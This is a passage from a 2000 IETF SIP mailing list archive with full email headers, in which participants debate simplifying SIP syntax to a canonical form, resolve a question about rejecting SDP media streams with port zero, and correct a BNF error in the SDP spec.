that only adds unnecessary bytes to the messages ? To disallow the compact form of the headers might be a problem but since using the compact form only saves about 70-80 bytes a UA still have to be able to handle the case where the message don't fit in one MTU. If this is a real problem why not define a compact form for _all_ headers in SIP and only use that form ? To capitalize the header field names exactly as they are specified in the RFC does not seem to be a problem either. Why should it be possible to write e.g. Content-Length as cOnTeNt-lEnGtH ? Line folding is also something we can't see any reason for. Since all UA/Servers have to be able to _receive_ any length of a header line why can't they _send_ every header in one line ? To allow a comma separated list in the Via and Record-Route etc. is one of the optional things that seems unnecessary. Especially since it creates longer lines which means you might need line folding. Since all UA that intend to handle Authentication have to use the canonical representation anyway why not always use it ? We realize that it's a little bit late in the SIP development to make changes in the protocol but we feel that these changes are not very big since it's already specified in the RFC. If everyone is happy with todays specification we can live with it too since we have already implemented it. But we feel that it would help SIP to spread faster in the future by making it as simple as possible to parse. So what do you think. Is this proposal something you think is worth introducing or is it better to keep things as it is ? -- Bertil Engelholm Bertil.Engelholm@uab.ericsson.se Eric Turesson Eric.Turesson@uab.ericsson.se _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 18 09:32:02 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA27872 for ; Fri, 18 Aug 2000 09:32:01 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 7F759443A6; Fri, 18 Aug 2000 09:30:55 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from smtprch1.nortel.com (smtprch1.nortelnetworks.com [192.135.215.14]) by lists.bell-labs.com (Postfix) with ESMTP id 7824F44395 for ; Fri, 18 Aug 2000 09:30:45 -0400 (EDT) Received: from zrchb200.us.nortel.com (actually zrchb200) by smtprch1.nortel.com; Fri, 18 Aug 2000 08:24:17 -0500 Received: by zrchb200.us.nortel.com with Internet Mail Service (5.5.2652.35) id ; Fri, 18 Aug 2000 08:23:32 -0500 Message-ID: From: "Scott Orton" To: "'rahul pande'" , sip@lists.bell-labs.com Subject: RE: [SIP] A query on SIP call flow Date: Fri, 18 Aug 2000 08:23:30 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2652.35) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C00917.804AD6E0" Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C00917.804AD6E0 Content-Type: text/plain; charset="iso-8859-1" If you just want to reject the first media stream the 200 response should 0 the port for the meadia streams you want to reject. This is explained in detail in appendix B of the latest draft and the RFC. You have to respond one to one for each m line sent to you. CALLED: SIP/2.0 200 ......... ............. v=0 ............ m=audio 0 RTP/AVP 0 m=video 6546 RTP/AVP 1 Scott -----Original Message----- From: rahul pande [mailto:panderahul@hotmail.com] Sent: Thursday, August 17, 2000 11:22 PM To: sip@lists.bell-labs.com Subject: [SIP] A query on SIP call flow hello all, I had a query regarding a call flow in SIP. The caller sends me a recvonly request for a unicast session which i want to reject, how do i reply to his request : The request which i have received is as follows : CALLER : INVITE.... .......... v=0 .......... m=audio 3241 rtp/avp 0 a=recvonly m=vedio 3245 rtp/avp 1 I want to reject his first media stream, can someone please tell me what will be the response. Thanking you all, rahul ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip ------_=_NextPart_001_01C00917.804AD6E0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable RE: [SIP] A query on SIP call flow

If you just want to reject the first media stream the = 200 response should 0
the port for the meadia streams you want to reject. = This is explained in detail in appendix B of the latest draft and the = RFC. You have to respond one to one for each m line sent to = you.

CALLED:
    SIP/2.0 200 .........
    .............
   
    v=3D0
    ............
    m=3Daudio 0 RTP/AVP 0
    m=3Dvideo 6546 RTP/AVP 1


Scott


hello all,
  I had a query regarding a call flow in SIP. = The caller sends me a recvonly
request for a unicast session which i want to = reject, how do i reply to his
request :
The request which i have received is as follows = :

   CALLER :
          = INVITE....
          = ..........

          = v=3D0
          = ..........
          = m=3Daudio 3241 rtp/avp 0
          = a=3Drecvonly
          = m=3Dvedio 3245 rtp/avp 1

I want to reject his first media stream, can someone = please tell me what
will be the response.

         = Thanking you all,
           = rahul
_______________________________________________________________= _________
Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com



_______________________________________________
SIP mailing list
SIP@lists.bell-labs.com
http://lists.bell-labs.com/mailman/listinfo/sip

------_=_NextPart_001_01C00917.804AD6E0-- _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 18 10:07:10 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA28673 for ; Fri, 18 Aug 2000 10:07:10 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id BE35044359; Fri, 18 Aug 2000 10:06:54 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from ubiquity.net (mail.ubiquity.net [194.128.96.72]) by lists.bell-labs.com (Postfix) with ESMTP id 615434433E for ; Fri, 18 Aug 2000 10:06:45 -0400 (EDT) Received: from gethin by ubiquity.net with SMTP (8.8.8+Sun/25-eef) id PAA08729; Fri, 18 Aug 2000 15:04:39 +0100 (BST) From: Gethin Liddell Organization: Ubiquity Software Corp. To: Bertil Engelholm , sip@lists.bell-labs.com Subject: Re: [SIP] Simplify SIP Date: Fri, 18 Aug 2000 14:50:06 +0100 X-Mailer: KMail [version 1.0.29.2] Content-Type: text/plain References: <399CFA30.67B6D80B@uab.ericsson.se> In-Reply-To: <399CFA30.67B6D80B@uab.ericsson.se> MIME-Version: 1.0 Message-Id: <00081814581900.17516@gethin> Content-Transfer-Encoding: 8bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 8bit i agree. the sip specification is not easy to implement, for the main reason that you have to be able to accept the same information in many different ways. conforming to the canonicial form should not be a hardship for anyone and will make everyone's implementations faster thanx to a, probably quite noticable, efficiency gain. On Fri, 18 Aug 2000, Bertil Engelholm wrote: > Hello, > > we would like to start a discussion about the possibility of making > SIP more simple than today. We realize that it's a little late to > make big changes in the protocol at this stage but the change we > propose seems quite small. This proposal is our personal proposal > and is not in any way reflecting the Ericsson point of view > (not yet anyway). > > We feel that SIP today is unnecessary complex which costs time > during development and testing of a SIP parser. It also cost > execution time which we can see no reason for. Maybe there are > historic reasons why SIP is specified as it is but since the > specification does not explain this (which it shouldn't) we > can't see the reason for certain constructions. We understand > that HTTP has been a great influence when specifying SIP but > we have not heard any explanation why. > > In general we think SIP allows too many optional ways of doing things. > Each of these options cost development time, testing time and > execution time in every SIP enabled product. And since some SIP > UA most likely is small devices with limited processor power, memory > size etc. it must be interesting to reduce the amount of code > needed to parse the SIP messages. > Every option also adds the possibility of introducing bugs which > we noticed during the last bakeoff. So by making SIP more > simple we think it will be easier to develop SIP enabled products > with better quality in shorter time. This would at the end help > spreading SIP even faster than today which we hope everyone is > interested in doing (at least in this mail group). > > So what we basically suggest is that only the canonical representation > should be used. All other formats should be depricated in the same > way as the different ways of terminating the SIP-headers was depricated > some time ago. In this way SIP will still be backwards-compatible > since everyone has to be able to receive the canonical representation. > It will just take some time for everyone to adapt their code so > they only send out the canonical representation. After a while it's > possible to make a new version of SIP that only allows the canonical > form. Then it's up to everyone to decide if they want to support > both SIP 2.0 as well as the new version or only the new version. > > According to the SIP specification (chapter 13.2 in rfc2543bis-01) > the canonical representation restricts the SIP syntax in this way : > > * No short form header fields; > * Header field names are capitalized as shown in the rfc; > * No white space between the header name and the colon; > * A single space after the colon; > * Line termination with a CRLF; > * No line folding; > * No comma separated lists of header values; each must appear as a > separate header; > * Only a single SP between tokens, between tokens and quoted strings, > and between quoted strings; no SP after last token or quoted string; > * No LWS between tokens and separators, except as described above for > after the colon in header fields; > * The To and From header fields always include the < and > delimiters > even if the display-name is empty. > > We can't see any problem in any of these restrictions. Some of them > only restricts how many white space characters you are allowed to use > so those restrictions can't be any problem to introduce. Why send extra > spaces that only adds unnecessary bytes to the messages ? > > To disallow the compact form of the headers might be a problem but > since using the compact form only saves about 70-80 bytes a UA still > have to be able to handle the case where the message don't fit in > one MTU. If this is a real problem why not define a compact form > for _all_ headers in SIP and only use that form ? > > To capitalize the header field names exactly as they are specified > in the RFC does not seem to be a problem either. Why should it be > possible to write e.g. Content-Length as cOnTeNt-lEnGtH ? > > Line folding is also something we can't see any reason for. Since > all UA/Servers have to be able to _receive_ any length of a header > line why can't they _send_ every header in one line ? > > To allow a comma separated list in the Via and Record-Route etc. > is one of the optional things that seems unnecessary. Especially > since it creates longer lines which means you might need line folding. > Since all UA that intend to handle Authentication have to use the > canonical representation anyway why not always use it ? > > We realize that it's a little bit late in the SIP development to > make changes in the protocol but we feel that these changes are > not very big since it's already specified in the RFC. > > If everyone is happy with todays specification we can live with > it too since we have already implemented it. But we feel that it > would help SIP to spread faster in the future by making it as > simple as possible to parse. > > So what do you think. Is this proposal something you think > is worth introducing or is it better to keep things as it is ? > > -- > Bertil Engelholm Bertil.Engelholm@uab.ericsson.se > Eric Turesson Eric.Turesson@uab.ericsson.se > > > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip -- Gethin Liddell Ubiquity Software Corporation http://www.ubiquity.net mailto:gethin@ubiquity.net _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 18 10:23:33 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA28985 for ; Fri, 18 Aug 2000 10:23:32 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 3814F44360; Fri, 18 Aug 2000 10:22:39 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from hotmail.com (f201.law7.hotmail.com [216.33.237.201]) by lists.bell-labs.com (Postfix) with ESMTP id 539674433A for ; Fri, 18 Aug 2000 10:22:35 -0400 (EDT) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Fri, 18 Aug 2000 07:22:34 -0700 Received: from 164.164.6.34 by lw7fd.law7.hotmail.msn.com with HTTP; Fri, 18 Aug 2000 GMT X-Originating-IP: [164.164.6.34] From: "rahul pande" To: orton@nortelnetworks.com, panderahul@hotmail.com, sip@lists.bell-labs.com Subject: RE: [SIP] A query on SIP call flow Date: Fri, 18 Aug 2000 14:22:34 GMT Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 18 Aug 2000 14:22:34.0706 (UTC) FILETIME=[C0A52B20:01C0091F] Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com >-----Original Message----- rahul wrote : >hello all, > I had a query regarding a call flow in SIP. The caller sends me a >recvonly > >request for a unicast session which i want to reject, how do i reply to his >request : >The request which i have received is as follows : > > CALLER : > INVITE.... > .......... > > v=0 > .......... > m=audio 3241 rtp/avp 0 > a=recvonly > m=vedio 3245 rtp/avp 1 > >I want to reject his first media stream, can someone please tell me what >will be the response. > > Thanking you all, > rahul >_______________________________________________________________________ Scott wrote : >If you just want to reject the first media stream the 200 response should 0 >the port for the meadia streams you want to reject. This is explained in >detail in appendix B of the latest draft and the RFC. You have to respond >one to one for each m line sent to you. > >CALLEE: > SIP/2.0 200 ......... > ............. > > v=0 > ............ > m=audio 0 RTP/AVP 0 > m=video 6546 RTP/AVP 1 > > >Scott >_ hi, A callee responding to the first media stream will basically be sending a "a=sendonly" response for that "m=" media stream. So when you reply back to the requester in the above manner, the caller receiving this response would interprert the following for the first "m=" media stream : 1) Since its a one to one mapping for his "a=recvonly" request, he would logically assume that the reply is "a=sendonly", even if the callee is accepting a media stream there is no hard and fast rule that he should respond with a "a=" line, its logically understood. 2) The SIP rfc states that : " For send-only streams, the address and port number have no significance and SHOULD be set to zero. " Through the above statement a callee who wants to accept the media stream might also put a port no. as 0 in his reply. So, i hope u understand what i am trying to say i.e. even if the responder is wanting to accept the requested first media stream, the SIP rfc recommends him to put the port to 0. Now how will he reject the offer. Its a race condition. Please let me know if i have not been clear in explaining my doubt or if its just a silly one. Thanking you, rahul ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 18 10:42:35 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA29316 for ; Fri, 18 Aug 2000 10:42:35 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id A305B44373; Fri, 18 Aug 2000 10:42:18 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id 9ED9F4433A for ; Fri, 18 Aug 2000 10:42:13 -0400 (EDT) Received: from dynamicsoft.com ([216.173.40.50]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id KAA08086 for ; Fri, 18 Aug 2000 10:43:44 -0400 (EDT) Message-ID: <399D4CAC.6A3BAAD@dynamicsoft.com> Date: Fri, 18 Aug 2000 10:48:12 -0400 From: Jonathan Rosenberg Organization: dynamicsoft X-Mailer: Mozilla 4.7 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: sip Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [SIP] white space and SIP Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Gethin Liddell wrote: > > For SIP to be efficient and quick, as i'm sure you'll agree it must be, > it MUST be possible to parse in a message with out having to parse each > individual header. Absolutely. This is what I was trying (and not at all succeeding in saying) when I said: > so that you can detect headers without parsing the headers > > themselves. > > Ignoring the \CR and \LF, it is possible to get the structure of the > messages and the headers split up by looking for the combination of > CR, LF and white space indentation. great, this can be done quickly by > simple byte-by-byte comparison. > > This all goes out the window however when we allow, or expect, that in > `special cases' a `\' at the end of the line actually marks another > form of continuation. > > for example, parsing the fast, efficient, lazy way, the header: > > Waring: 307 foo "some info \ > some more info" > > Will be parsed as 2 headers, with the second header being very wrong > and breaking everything. > > If we want this to be parsed properly, then from the very begining we > have to parse the header and understand it. > > So what if we don't understand it? I agree. In my coffee-starved state of mind I apparently believed the escaping would help, but it doesn't. So, I think we need to specify that if a CR, LF, or CRLF appears in a quoted string, these MUST be properly line folded. -Jonathan R. -- Jonathan D. Rosenberg 72 Eagle Rock Ave. Chief Scientist First Floor dynamicsoft East Hanover, NJ 07936 jdrosen@dynamicsoft.com FAX: (973) 952-5050 http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 http://www.dynamicsoft.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 18 10:44:05 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA29389 for ; Fri, 18 Aug 2000 10:44:03 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 4B8C144395; Fri, 18 Aug 2000 10:42:59 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id 01FE34433A for ; Fri, 18 Aug 2000 10:42:53 -0400 (EDT) Received: from dynamicsoft.com ([216.173.40.50]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id KAA08120 for ; Fri, 18 Aug 2000 10:44:33 -0400 (EDT) Message-ID: <399D4CDD.CA1F76ED@dynamicsoft.com> Date: Fri, 18 Aug 2000 10:49:01 -0400 From: Jonathan Rosenberg Organization: dynamicsoft X-Mailer: Mozilla 4.7 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: sip Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [SIP] send only media streams Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit I believe rahul's question is aimed at a slight inconsistency in appendix B.2, which says: > For receive-only and send-or-receive streams, the port number and > address in the session description indicate where the media stream > should be sent to by the recipient of the session description, either > caller or callee. For send-only streams, the address and port number > have no significance and SHOULD be set to zero. So, the caller sends a stream recvonly. So, the callee wishes to accept it. Clearly its sendonly from their perspective. According to the above, the port is set to zero. But, later on: > If caller and callee have no media formats in common for a particular > stream, the callee MUST return a session description containing the > particular "m=" line, but with the port number set to zero, and no > payload types listed. which says its set to zero as well, but with no payload types. That would be fine, and there would be no inconsistency here. However, we have observed this to be inconsistent with rfc2327, which mandates at least one codec there: > media-field = "m=" media space port ["/" integer] > space proto 1*(space fmt) CRLF Sooo, what is the significance of port zero in the response to INVITE for an offered recvonly stream responded with sendonly? I believe the solution is that we modify the latter text in SIP to read: > For receive-only and send-or-receive streams, the port number and > address in the session description indicate where the media stream > should be sent to by the recipient of the session description, either > caller or callee. For send-only streams, the address and port number > have no significance and MAY be set to any value, but MUST NOT be set to zero. i.e., we have port zero mean ONE THING only - refusal of a media stream. -Jonathan R. rahul pande wrote: > > hello all, > I had a query regarding a call flow in SIP. The caller sends me a recvonly > request for a unicast session which i want to reject, how do i reply to his > request : > The request which i have received is as follows : > > CALLER : > INVITE.... > .......... > > v=0 > .......... > m=audio 3241 rtp/avp 0 > a=recvonly > m=vedio 3245 rtp/avp 1 > > I want to reject his first media stream, can someone please tell me what > will be the response. > > Thanking you all, > rahul > ________________________________________________________________________ > Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip -- Jonathan D. Rosenberg 72 Eagle Rock Ave. Chief Scientist First Floor dynamicsoft East Hanover, NJ 07936 jdrosen@dynamicsoft.com FAX: (973) 952-5050 http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 http://www.dynamicsoft.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 18 10:47:43 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA29460 for ; Fri, 18 Aug 2000 10:47:43 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 56CC344344; Fri, 18 Aug 2000 10:47:36 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id DF45144339 for ; Fri, 18 Aug 2000 10:47:32 -0400 (EDT) Received: from dynamicsoft.com ([216.173.40.50]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id KAA08194; Fri, 18 Aug 2000 10:49:00 -0400 (EDT) Message-ID: <399D4DE8.CD027BD@dynamicsoft.com> Date: Fri, 18 Aug 2000 10:53:28 -0400 From: Jonathan Rosenberg Organization: dynamicsoft X-Mailer: Mozilla 4.7 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Gethin Liddell Cc: Bertil Engelholm , sip@lists.bell-labs.com Subject: Re: [SIP] Simplify SIP References: <399CFA30.67B6D80B@uab.ericsson.se> <00081814581900.17516@gethin> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit If I had it over again, I would eliminate line folding, case insensitivity, and a host of other things. But, when the spec was begun, it was decided that rather than inventing new syntax, we would borrow from a clearly successful, highly interoperable, well understood protocol for which a whole lot of code was available. That meant we inherited the good along with the bad. Because we must be backwards compatible with rfc2543, there is no choice but to insist implementations handle line folding and other things (in reality its not so bad once you construct a tokenizer than knows about line folding. In this way, it is handled once. My old C code for this was on the order of 50 lines). We could have rfc2543bis insist on sending in some canonical form, but it won't help parsers which must anyway handle the various forms. I suppose eventually those could be phased out, but there is a fair amount of SIP out there already, so I don't know that non-canonical form would be gone that soon. -Jonathan R. Gethin Liddell wrote: > > i agree. > > the sip specification is not easy to implement, for the main reason > that you have to be able to accept the same information in many > different ways. > > conforming to the canonicial form should not be a hardship for anyone > and will make everyone's implementations faster thanx to a, probably > quite noticable, efficiency gain. > > On Fri, 18 Aug 2000, Bertil Engelholm wrote: > > Hello, > > > > we would like to start a discussion about the possibility of making > > SIP more simple than today. We realize that it's a little late to > > make big changes in the protocol at this stage but the change we > > propose seems quite small. This proposal is our personal proposal > > and is not in any way reflecting the Ericsson point of view > > (not yet anyway). > > > > We feel that SIP today is unnecessary complex which costs time > > during development and testing of a SIP parser. It also cost > > execution time which we can see no reason for. Maybe there are > > historic reasons why SIP is specified as it is but since the > > specification does not explain this (which it shouldn't) we > > can't see the reason for certain constructions. We understand > > that HTTP has been a great influence when specifying SIP but > > we have not heard any explanation why. > > > > In general we think SIP allows too many optional ways of doing things. > > Each of these options cost development time, testing time and > > execution time in every SIP enabled product. And since some SIP > > UA most likely is small devices with limited processor power, memory > > size etc. it must be interesting to reduce the amount of code > > needed to parse the SIP messages. > > Every option also adds the possibility of introducing bugs which > > we noticed during the last bakeoff. So by making SIP more > > simple we think it will be easier to develop SIP enabled products > > with better quality in shorter time. This would at the end help > > spreading SIP even faster than today which we hope everyone is > > interested in doing (at least in this mail group). > > > > So what we basically suggest is that only the canonical representation > > should be used. All other formats should be depricated in the same > > way as the different ways of terminating the SIP-headers was depricated > > some time ago. In this way SIP will still be backwards-compatible > > since everyone has to be able to receive the canonical representation. > > It will just take some time for everyone to adapt their code so > > they only send out the canonical representation. After a while it's > > possible to make a new version of SIP that only allows the canonical > > form. Then it's up to everyone to decide if they want to support > > both SIP 2.0 as well as the new version or only the new version. > > > > According to the SIP specification (chapter 13.2 in rfc2543bis-01) > > the canonical representation restricts the SIP syntax in this way : > > > > * No short form header fields; > > * Header field names are capitalized as shown in the rfc; > > * No white space between the header name and the colon; > > * A single space after the colon; > > * Line termination with a CRLF; > > * No line folding; > > * No comma separated lists of header values; each must appear as a > > separate header; > > * Only a single SP between tokens, between tokens and quoted strings, > > and between quoted strings; no SP after last token or quoted string; > > * No LWS between tokens and separators, except as described above for > > after the colon in header fields; > > * The To and From header fields always include the < and > delimiters > > even if the display-name is empty. > > > > We can't see any problem in any of these restrictions. Some of them > > only restricts how many white space characters you are allowed to use > > so those restrictions can't be any problem to introduce. Why send extra > > spaces that only adds unnecessary bytes to the messages ? > > > > To disallow the compact form of the headers might be a problem but > > since using the compact form only saves about 70-80 bytes a UA still > > have to be able to handle the case where the message don't fit in > > one MTU. If this is a real problem why not define a compact form > > for _all_ headers in SIP and only use that form ? > > > > To capitalize the header field names exactly as they are specified > > in the RFC does not seem to be a problem either. Why should it be > > possible to write e.g. Content-Length as cOnTeNt-lEnGtH ? > > > > Line folding is also something we can't see any reason for. Since > > all UA/Servers have to be able to _receive_ any length of a header > > line why can't they _send_ every header in one line ? > > > > To allow a comma separated list in the Via and Record-Route etc. > > is one of the optional things that seems unnecessary. Especially > > since it creates longer lines which means you might need line folding. > > Since all UA that intend to handle Authentication have to use the > > canonical representation anyway why not always use it ? > > > > We realize that it's a little bit late in the SIP development to > > make changes in the protocol but we feel that these changes are > > not very big since it's already specified in the RFC. > > > > If everyone is happy with todays specification we can live with > > it too since we have already implemented it. But we feel that it > > would help SIP to spread faster in the future by making it as > > simple as possible to parse. > > > > So what do you think. Is this proposal something you think > > is worth introducing or is it better to keep things as it is ? > > > > -- > > Bertil Engelholm Bertil.Engelholm@uab.ericsson.se > > Eric Turesson Eric.Turesson@uab.ericsson.se > > > > > > > > _______________________________________________ > > SIP mailing list > > SIP@lists.bell-labs.com > > http://lists.bell-labs.com/mailman/listinfo/sip > -- > Gethin Liddell > Ubiquity Software Corporation > > http://www.ubiquity.net > mailto:gethin@ubiquity.net > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip -- Jonathan D. Rosenberg 72 Eagle Rock Ave. Chief Scientist First Floor dynamicsoft East Hanover, NJ 07936 jdrosen@dynamicsoft.com FAX: (973) 952-5050 http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 http://www.dynamicsoft.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 18 10:53:27 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA29637 for ; Fri, 18 Aug 2000 10:53:26 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 0CE1C44360; Fri, 18 Aug 2000 10:53:04 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id 33CD844339 for ; Fri, 18 Aug 2000 10:53:00 -0400 (EDT) Received: from dynamicsoft.com ([216.173.40.50]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id KAA08263; Fri, 18 Aug 2000 10:54:31 -0400 (EDT) Message-ID: <399D4F32.5A9F79A0@dynamicsoft.com> Date: Fri, 18 Aug 2000 10:58:58 -0400 From: Jonathan Rosenberg Organization: dynamicsoft X-Mailer: Mozilla 4.7 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: manu@sasi.com Cc: sip@lists.bell-labs.com, confctrl@isi.edu, "Handley, Mark" Subject: Re: [SIP] ipv4 addresses in SDP References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit manu@sasi.com wrote: > > On Thu, 17 Aug 2000, Jonathan Rosenberg wrote: > > >SDP queries belong on confctrl@isi.edu. > > Thanks, I'll post it there. > > >The BNF is correct. You need to examine complete production for > >decimal-uchar: > > > >> decimal-uchar = DIGIT > >> | POS-DIGIT DIGIT > >> | ("1" 2*(DIGIT)) > >> | ("2" ("0"|"1"|"2"|"3"|"4") DIGIT) > >> | ("2" "5" ("0"|"1"|"2"|"3"|"4"|"5")) > > > >The production defines one of five rules; the first covers the numbers > >0-9. The second covers 10 through 99. > > >The thrid 100 through 199 (thus a 1 followed by two digits), > > Right, but the third production also allows > 1000 through 1999, 10000 through 19999 ... > > That is, it doesn't restrict the length of decimal-uchar to three > digits like the fourth & fifth productions do, does it? Oops, you're right. This BNF is wrong; it should be: ... | ("1" 2DIGIT) ... This should be corrected in the draft version. -Jonathan R. -- Jonathan D. Rosenberg 72 Eagle Rock Ave. Chief Scientist First Floor dynamicsoft East Hanover, NJ 07936 jdrosen@dynamicsoft.com FAX: (973) 952-5050 http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 http://www.dynamicsoft.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 18 10:57:31 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA29724 for ; Fri, 18 Aug 2000 10:57:31 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id E82F6443AB; Fri, 18 Aug 2000 10:57:15 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with 